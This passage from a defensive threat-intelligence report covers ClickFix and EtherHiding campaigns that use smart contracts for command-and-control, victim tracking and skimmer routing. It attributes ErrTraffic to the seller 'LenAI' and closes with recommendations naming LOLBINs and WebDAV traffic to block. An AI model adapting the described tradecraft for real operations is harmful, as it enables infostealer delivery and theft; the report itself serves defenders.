We observed the pure ledger role directly, in hunting separate from the ClickFix delivery campaign in Case A. On the BNB Smart Chain testnet, a contract exposed an owner-called function that did nothing but append visitor records, each write storing a victim IP address and a per-visitor identifier, readable straight from the decoded transaction input, with a check for whether an identifier was already present so a returning victim would not be re-counted. At the time of analysis the contract had accumulated more than 64,000 such records and was still growing. This is not an anonymous artifact: public reporting documents this same contract as the victim-tracking component of the ClearFake ClickFix framework. Trend Micro describes ClearFake storing its stages across smart contracts on the BNB Smart Chain testnet, with an on-chain execution tracker that confirms each victim compromise in real time. Expel and LindenSec detail the deduplication logic, where the contract assigns each system a UUID, records an IP, and returns whether the victim has been seen before so the lure is not shown twice. Our first-party read of its ledger and their framework analyses describe the same contract from two directions. It also illustrates the free-testnet economics precisely: writing tens of thousands of victim entries on-chain is only viable because testnet gas costs nothing, which is exactly why this behavior clusters on testnets and away from mainnets. The transaction history is, in effect, a public infection ledger. The operator gets resilient, serverless tracking. In exchange they publish their entire victim list, permanently and for anyone to read. That is a liability with no analogue in conventional C2, and a direct feed for victim-notification efforts.
Case D: Blockchain-Backed Web Skimming
The same primitives have reached payment-card skimming. Independent 2025–2026 vendor analyses mark the migration. Source Defense identified a digital-skimming campaign using more than 15 Ethereum smart contracts as resilient command-and-control and routing infrastructure, with multiple infrastructure clusters and dozens of associated domains. Trinity Cyber documented a three-stage chain in which a blockchain-retrieved second-stage loader performs environment checks before delivering a Magecart-style skimmer over WebSockets. Further reporting describes BNB Smart Chain contracts paired with JavaScript "blobs" that keep skimmer code out of the DOM and bypass most Content-Security-Policy configurations.
The important nuance for defenders is consistent across these clusters. The chain is used to host or route the skimmer infrastructure, not to receive the stolen card data. That data still flows out over WebSockets or HTTP to attacker servers. Writing stolen data on-chain is generally avoided because of cost and permanence. The exception is the victim-tracking writes in Case C, viable at scale specifically because testnet gas is free. The lesson matches the delivery cases. Blockchain hardens the resilient-infrastructure link, while the data movement and execution remain on conventional, observable channels.
Scale and Spread
There is no single clean "blockchain-infrastructure abuse grew X%" figure. What exists is a set of related proxy metrics that together establish both a clear upward trend and a wide current footprint. The delivery lure most often riding on top of these campaigns is ClickFix. Per ESET's H1 2025 threat telemetry, it grew more than 500% from the second half of 2024 to the first half of 2025, reaching nearly 8% of all blocked attacks and becoming the second most common attack vector after phishing. That figure counts ClickFix, not blockchain infrastructure specifically, since many ClickFix campaigns use conventional hosting.
The on-chain infrastructure underneath is better evidenced at campaign scale. Google's Threat Intelligence Group identified roughly 14,000 web pages carrying injected JavaScript consistent with a single EtherHiding actor (UNC5142) as of June 2025, and other reporting describes smart-contract-C2 campaigns affecting large numbers of systems.
Our own hunting speaks to how widespread the pattern has become. Pivoting across Shodan, FOFA, Censys, urlscan, VirusTotal, and hunt.io, searching for the smart-contract calls, the injected JavaScript loaders, and related patterns, we identified close to 10,000 compromised sites worldwide exhibiting the EtherHiding/ClickFix pattern from mid-June onward. The affected sites were legitimate WordPress installations across ordinary small-business and organizational categories, distributed globally with no geographic or sector concentration and no observed avoidance of any sector, and the ultimate victims were their everyday visitors. That points to opportunistic compromise of whatever vulnerable sites were reachable, not a chosen target set. This population certainly spans multiple clusters and likely overlaps the UNC5142 activity Google reported, so we treat it as a footprint of the technique rather than a distinct campaign: a floor on how widespread the pattern is, not one operation. The one in-band exclusion we saw is an evasion choice rather than targeting, the Base variant's Service Worker did not inject for logged-in WordPress administrators, which would delay discovery by the site owner.
Our own Polygon and Base cases extend a trend that now spans cybercrime and nation-state operations alike. The payload we observed, Vidar, fits the wider 2026 picture: Vidar became one of the most-used infostealers on the main criminal markets after the Lumma and Rhadamanthys disruptions of 2025, and other vendors have documented ClickFix delivering Vidar through compromised WordPress sites, including victims in Israel.
Attribution and Motivation
We do not attribute this activity to a named individual, but both the framework and the actor who develops it are now well identified. The activity is the ErrTraffic ClickFix framework, sold as a Malware-as-a-Service and documented by Hudson Rock, LevelBlue, and Sekoia. Multiple vendors attribute the development and sale of ErrTraffic to a threat actor using the handle "LenAI," advertising on the Exploit.IN forum and Telegram since at least December 2025. It is important to separate roles here. LenAI is the developer and seller. The individual campaigns are run by separate customers and affiliates: Sekoia assesses the two clusters it tracks, "Analytics" and "Beer," are operated by different and unnamed actors rather than by LenAI directly, with Analytics run by a single actor who purchased the ErrTraffic source code and Beer rented to multiple affiliates. The specific cluster we investigated is the one Sekoia tracks as the "Analytics" cluster. Three signatures place our incident in that cluster unambiguously: the single stable Polygon resolver contract, the /cf.js lure-fetch endpoint that Sekoia calls the cluster's distinctive marker, and the Vidar payload the cluster distributed through mid-2026. That external assessment aligns with our own on-chain evidence: a single controlling wallet issued every management call to the resolver contract, consistent with one operator running the delivery infrastructure. Our own analysis of the same contract was independently corroborated by the vendors PhishEye and Melted in Hex, both of which reconstructed its rotation history and getter (getURL(), selector 0x38bcdc1c) from public ledger data. LevelBlue independently derived the same selector from the Keccak-256 hash of the getURL() signature. Three vendors arriving at the same on-chain fingerprint gives the identification unusual weight.
The behavior is consistent with a financially motivated distribution operation: compromised WordPress at scale, a commodity fake-CAPTCHA lure, a TDS front end, and a Vidar endpoint. As a MaaS-derived operation it is quite possibly delivering on behalf of other actors, and not a targeted intrusion set. Google's Threat Intelligence Group has similarly declined to attribute the final payloads in the related ClearFake/UNC5142 activity to that cluster, treating it as a distribution service. We describe the Polygon and Base activity as the same tradecraft observed on two chains, and we do not assess them as the same operator: we found no shared wallet, funding path, or timing link between the two contracts, and the Base variant's browser-side machinery differs enough that we treat the linkage as a shared technique rather than a shared actor. We also assess this activity is related to the ShadowCaptcha ClickFix operation we previously reported, whose operators we had already observed adopting blockchain infrastructure. We treat the two as related pending firmer linkage. The Vidar payload we observed differs from those in the earlier ShadowCaptcha waves, which included Lumma and Rhadamanthys stealers, Epsilon Red ransomware, and XMRig.
The architecture tells us what the operator values: resilience and cheap central control over stealth of the retrieval itself, accepting visible RPC traffic in exchange for a backend that cannot be sinkholed and can be re-pointed everywhere with one transaction. The encrypted profiling and admin-cloaking Service Worker in the Base variant indicate investment in evasion and longevity beyond the commodity baseline.
The same developer is active beyond ClickFix. Independent research by Ctrl-Alt-Intel, Outpost24, Qrator, and, most recently, Unit 42 attributes a separate native C++ botnet loader, Aeternum, to the same LenAI handle, and reports that a single Polygon deployment wallet created smart contracts for both ErrTraffic and Aeternum. We include this to place ErrTraffic in context, not to merge the two: they are distinct products with different function selectors and execution models (Aeternum is a compiled loader, ErrTraffic a browser-injected script), and the deployed campaigns are run by different customers. The relevant point for defenders is that on-chain C2 is now a product line, developed once and sold across delivery models, which is exactly why the technique is spreading. We say more about the native-loader model in Case B.
Recommendations
These are prioritized by impact against the specific tradecraft in this report. Each organization should validate and adapt implementation to its own environment.
Disrupt the execution trigger. ClickFix depends on the victim opening the Run dialog (Win+R) or Quick Link menu (Win+X). Disabling these hotkeys via Explorer's DisabledHotkeys policy removes the primary trigger. Since some variants redirect to the Explorer address bar or a terminal, pair this with restrictions on process launches from Explorer rather than relying on it alone.
Constrain what the pasted command can do. Enforce application control (WDAC/AppLocker) with PowerShell Constrained Language Mode and script-block logging. Restrict mshta.exe, pcalua.exe, and similar LOLBINs from interactive sessions, and block rundll32.exe from loading content in user-writable paths. Audit before enforcing.
Disable WebDAV where unused. Recent ClickFix variants deliver payloads over WebDAV via rundll32 specifically to evade script-focused detection. Disable the WebClient service via GPO and block outbound WebDAV traffic (PROPFIND, Microsoft-WebDAV-MiniRedir user agent) at the proxy; allowlist internal destinations where WebDAV is required.
Cut off the on-chain retrieval. Egress-filter public RPC and testnet node domains for segments with no legitimate Web3 use. Dead-drop resolution rides read-only eth_call requests over HTTPS to reputable providers, so domain-based egress control is the practical enforcement point.
Hunt RunMRU. Run-dialog commands are recorded in HKCU\...\Explorer\RunMRU. Hunting this key for command-like entries, LOLBIN names, URLs, UNC/WebDAV paths, surfaces ClickFix execution regardless of delivery variant.
Break the lure with one rule. No legitimate website, vendor, or internal system will ever ask users to paste a command into the Run dialog or a terminal to "verify you are human" or "fix" a page.
Conclusion
At its core, the activity INDA investigated is a commodity infostealer operation. What makes it worth documenting is the delivery backend. The same social-engineering play was staged across Polygon and Base. In one case it resolved a pointer through a public contract. In the other it hosted the payload on-chain with browser-level persistence. Set this against the wider pattern of on-chain C2, on-chain victim tracking, and blockchain-backed skimming, and add attackers' growing use of free testnets. The picture is of a technique that has moved from a 2023 curiosity on one chain to a cross-chain, cross-actor standard for resilient infrastructure.
This activity is closely related to the operation we tracked as ShadowCaptcha. It is the same ClickFix playbook, now viewed through a blockchain backend rather than its lure. The single piece of user guidance we issued then, restated in the recommendations above, still breaks every ClickFix chain in this report.
The through-line for defenders is that immutability protects one link, not the operation. The retrieval the chain cannot conceal is a process reaching public RPC nodes, a browser in the ClickFix cases here, a compiled loader in the native-malware families, especially in a fan-out or to a testnet. That retrieval, and the human-driven or beaconed execution that follows, are both squarely observable. Instrument those. Treat recovered contracts and operator wallets as durable intelligence, not dead ends. The "unstoppable" backend becomes a great deal more tractable than its reputation suggests.